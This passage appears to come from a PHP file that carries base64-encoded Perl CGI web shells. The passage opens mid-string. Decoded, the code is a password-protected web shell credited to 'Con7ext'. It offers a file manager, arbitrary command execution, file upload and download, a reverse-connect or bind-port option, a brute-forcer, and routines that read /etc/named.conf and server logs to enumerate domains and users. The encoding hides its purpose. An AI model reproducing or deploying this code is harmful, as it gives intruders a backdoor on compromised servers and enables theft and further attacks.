QoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz4NCg0KCQkJPHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8L3RyPiI7DQoJCQkkaSsrOw0KCQl9DQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRyeSB0byBWaWV3IExpc3QgVXNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdEb21haW5Vc2VyDQp7DQoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCglteSBAY256cyA9IDxkb21haW5zPjsNCgljbG9zZSBkMG1haW5zOw0KCW15ICRzdHlsZT0ibGluZSI7DQoJbXkgJHJlc3VsdD0iPGg1Pjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Ib2FuZyBTYSAtIFRydW9uZyBTYTwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOw0KCX0NCglmb3JlYWNoIG15ICRvbmUgKEBjbnpzKQ0KCXsNCgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykNCgkJewkNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJG9uZTsNCgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsNCgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBWaWV3IExvZw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFZpZXdMb2cNCnsNCglpZigkV2luTlQpDQoJew0KCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOw0KCX0NCglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOw0KCW15IEBwYXRobG9nPSgNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnDQoJCQkJKTsNCglteSAkaT0wOw0KCW15ICRwZXJtczsNCglteSAkc2w7DQoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykNCgl7DQoJCWlmKC13ICRsb2cpDQoJCXsNCgkJCSRwZXJtcz0iT0siOw0KCQl9ZWxzZQ0KCQl7DQoJCQljaG9wKCRzbCA9IGBsbiAtcyAkbG9nIGVycm9yX2xvZ18kaWApOw0KCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikNCgkJCXsNCgkJCQlpZigtciAkbHMpDQoJCQkJew0KCQkJCQkkcGVybXM9Ik9LIjsNCgkJCQkJJGxvZz0iZXJyb3JfbG9nXyIuJGk7DQoJCQkJfQ0KCQkJfWVsc2UNCgkJCXsNCgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsNCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49PDxFTkQ7DQoJCTx0cj4NCg0KCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luDQp7DQoJJlBlcmZvcm1Mb2dpbjsNCn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCEoJGNobW9kIGVxIDApKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJY2hvcCgkcmVzdWx0PSBgY2htb2QgJGNobW9kICIkZmlsZSJgKTsNCgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7");
14define("CGI_2", "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBSZWNvZGVkIEJ5IENvbjdleHQKIyBUaGFua3MgVG8gOiAweDE5OTkgLSBYYWkgU3luZGljYXRlIFRlYW0gLSBBbmQgWW91CiAKJFdpbk5UID0gMDsKJE5UQ21kU2VwID0gIiYiOwokVW5peENtZFNlcCA9ICI7IjsKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CnN1YiBSZWFkUGFyc2UKewogICAgbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKICAgIGxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CiAgIAogICAgJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CiAKICAgIGlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCiAgICB7CiAgICAgICAgJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307CiAgICB9CiAgICBlbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKICAgIHsKICAgICAgICBiaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CiAgICAgICAgcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKICAgIH0KIAogICAgIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQogICAgaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCiAgICB7CiAgICAgICAgJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NwogICAgICAgIEBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7CiAgICAgICAgJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKICAgICAgICAkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CiAgICAgICAgJEhlYWRlciA9ICRgOwogICAgICAgICRCb2R5ID0gJCc7CiAgICAgICAgJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQogICAgICAgICRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwogICAgICAgICRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsKICAgICAgICAkaW57J2YnfSA9ICQxOwogICAgICAgICRpbnsnZid9ID1+IHMvXCIvL2c7CiAgICAgICAgJGlueydmJ30gPX4gcy9ccy8vZzsKIAogICAgICAgICMgcGFyc2UgdHJhaWxlcgogICAgICAgIGZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCiAgICAgICAgewogICAgICAgICAgICAkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKICAgICAgICAgICAgJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwogICAgICAgICAgICAka2V5ID0gJDE7CiAgICAgICAgICAgICR2YWwgPSAkJzsKICAgICAgICAgICAgJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKICAgICAgICAgICAgJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKICAgICAgICAgICAgJGlueyRrZXl9ID0gJHZhbDsKICAgICAgICB9CiAgICB9CiAgICBlbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKICAgIHsKICAgICAgICBAaW4gPSBzcGxpdCgvJi8sICRpbik7CiAgICAgICAgZm9yZWFjaCAkaSAoMCAuLiAkI2luKQogICAgICAgIHsKICAgICAgICAgICAgJGluWyRpXSA9fiBzL1wrLyAvZzsKICAgICAgICAgICAgKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKICAgICAgICAgICAgJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKICAgICAgICAgICAgJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKICAgICAgICAgICAgJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CiAgICAgICAgICAgICRpbnska2V5fSAuPSAkdmFsOwogICAgICAgIH0KICAgIH0KfQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CiRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q29uN2V4dDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8c3R5bGU+CkBmb250LWZhY2UgewogICAgZm9udC1mYW1pbHk6ICd1YnVudHVfbW9ub3JlZ3VsYXInOwpzcmM6IHVybChkYXRhOmFwcGxpY2F0aW9uL3gtZm9udC13b2ZmO2NoYXJzZXQ9dXRmLTg7YmFzZTY0LGQwOUdSZ0FCQUFBQUFHV0lBQk1BQUFBQXZEQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCR1JsUk5BQUFCcUFBQUFCd0FBQUFjWk8rSGRFZEVSVVlBQUFIRUFBQUFLUUFBQUN3Q0l3RUpSMUJQVXdBQUFmQUFBQUF5QUFBQVFEWE9UckJIVTFWQ0FBQUNKQUFBQVZrQUFBSUdsTnZKcUU5VEx6SUFBQU9BQUFBQVhRQUFBR0NaVlFUWlkyMWhjQUFBQStBQUFBR09BQUFCNmdDTGpCWmpkblFnQUFBRmNBQUFBRW9BQUFCS0Uwa09jMlp3WjIwQUFBVzhBQUFCc1FBQUFtVlR0QytuWjJGemNBQUFCM0FBQUFBSUFBQUFDQUFBQUJCbmJIbG1BQUFIZUFBQVZtRUFBS1cwSXJ0MlBHaGxZV1FBQUYzY0FBQUFNQUFBQURZQXkyTERhR2hsWVFBQVhnd0FBQUFjQUFBQUpBcW1CUDlvYlhSNEFBQmVLQUFBQVdnQUFBT2lobUZ4Q0d4dlkyRUFBRitRQUFBQnlBQUFBZFFPVVRhUWJXRjRjQUFBWVZnQUFBQWdBQUFBSUFJR0FoVnVZVzFsQUFCaGVBQUFBWHNBQUFQT1lsZUtyWEJ2YzNRQUFHTDBBQUFCNGdBQUF0UXNCcVVNY0hKbGNBQUFaTmdBQUFDbkFBQUJCcVFUdkc1M1pXSm1BQUJsZ0FBQUFBWUFBQUFHZFZ0U3BnQUFBQUVBQUFBQXpEMml6d0FBQUFESjViN0xBQUFBQU03TUpkbDQybU5nWkdCZzRBTmlGUVlRWUdKZ0J1STZCa2FHZW9aR0lLdUo0UVdRelFLV1lRQUFObUlETFFBQUFIamFZMkJrWUdEZ1lyQmhzR05nVHE0c3ltRVFTUzlLeldhUXkwa3N5V1BRWUdBQnlqTDgvdzhrc0xHQUFBQjNrd3Y3QUFCNDJuV1J4MHBEUVJpRnYrczFMa0p3RlF2aUlvZ2w5aGhqTDhRU0JHTU1YRjI1RUdLTUxrd2kzQmhCaVN0Nzd3MDdQb1c0czd5SUw2Si9ob3ZnUW9ZNWY1bHpaczdNb0FGMkh2bENqeTZaY1p5elpteU85bmhrSWNrd2hlajlRNGFMd2xCd1VIRE02QmVFNzI5eVJhZVJJekdiL2UyVVlldWJDTGp3RGhqamdxSHdpQXUvRVE0SmpodEI2U2kremVMcldlVWZmYmJTcGNybXRzaU1HY1VWamFSaXVKUHBoRW5EdkRtZHhKZEtlYngwS2xhT1ltdldEaWpVZmxkc09IQlNTamwxcXF2aHRtS3JGZjNrcVRocTFWT2ljNGd5UTVwRnFYVUs1TlpGMHJYTFRMQ2lmQVlZKzRlblMxNHNNOS95b3F2MWpPVnBXVnhYVUVtVitLaW1obHJ4VlU4RGpYaG9rcmRweGtlTGVHdWpuUTdoZHRGTkQ3MnNzc1k2RzJ5eXhUWTc3TExIUGdjY2NzUXhKNXh5eGprWFhITEZOVGZjY3NjOUQvSzNUM3p5cmw0endLUjRlT2FGRWw1NWsvTStaSFQ4QUduVlNxRUFBQUI0Mm1OZ1puN0JPSUdCbFlHRmRSYXJNUU1Eb3p5RVpyN0lrTWJFd01EQXhNM0t5Y3pHeE16RThvQ0I2WDhBZzBJMEF4UzRPUG82TWpndzhQNW1Za3Y3bDhiQXdMYUVxVStCZ1dGK0dDTlE5emFXTDBBbENneE1BTDM2RDc0QUFBQjQybU5nWUdCbWdHQVpCa1lHRUhnQzVER0MrU3dNSjRDMEhvTUNrTVVIWlBFeXlETFVNZnhuREdhc1lEckdkRWVCUzBGRVFVcEJUa0ZKUVUxQlg4RktJVjVoamFLUzZwL2ZUUC8vZzAwQ3FWZGdXTUFZQkZYUG9DQ2dJS0VnQTFWdkNWZlBDRlRQL1Avci8yZi9uL3cvL0wvd3YrOC9ocit2SDV4NGNQakJnUWY3SCt4NXNQUEJ4Z2NySHJROHNMaC8rTllyMW1kUWQ1SUFHTmtnWGdTem1ZQUVF